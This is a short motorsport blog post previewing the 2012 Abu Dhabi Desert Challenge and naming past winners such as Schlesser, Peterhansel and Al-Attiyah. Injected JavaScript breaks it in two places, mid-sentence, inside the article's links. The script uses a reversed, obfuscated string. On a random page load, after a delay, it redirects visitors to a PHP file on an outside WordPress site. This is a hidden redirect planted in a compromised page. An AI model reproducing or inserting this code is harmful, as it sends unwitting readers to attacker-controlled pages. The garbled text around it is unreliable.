The crankandpiston inbox is getting pretty full with one week before go time at the 2012 Abu Dhabi Desert Challenge.
It’s a tough event, with competitors facing five days of up to 500km sprints across Moreeb and the Liwa Desert. As well as high 30 degree/low 40 degree temperatures, entrants will face deep, unforgiving sand, dehydration, mental and physical fatigue, and the constant threat of breakdowns. The faint-hearted may want to mull that over at scrutineering.
Even though the UAE Desert Challenge moniker is long gone, and the route now sticks solely to Abu Dhabi, a look at the event’s previous winners still shows the depth of competition. There’s five-time victor Jean-Louis Schlesser –1988 Italian Grand Prix and Ayrton Senna, remember? – ten-time $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/the-dakar-2012-victory-lane/” target=”_blank”>Dakar Rally winner Stephane Peterhansel, and Qatari $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/wrc-mexico-round-3-advantage-citroen-focus-ford/” target=”_blank”>WRC runner Nasser Al-Attiyah, just to name a few.
Still not convinced? Take a look at the video from last year’s running. You’ll soon get the idea.
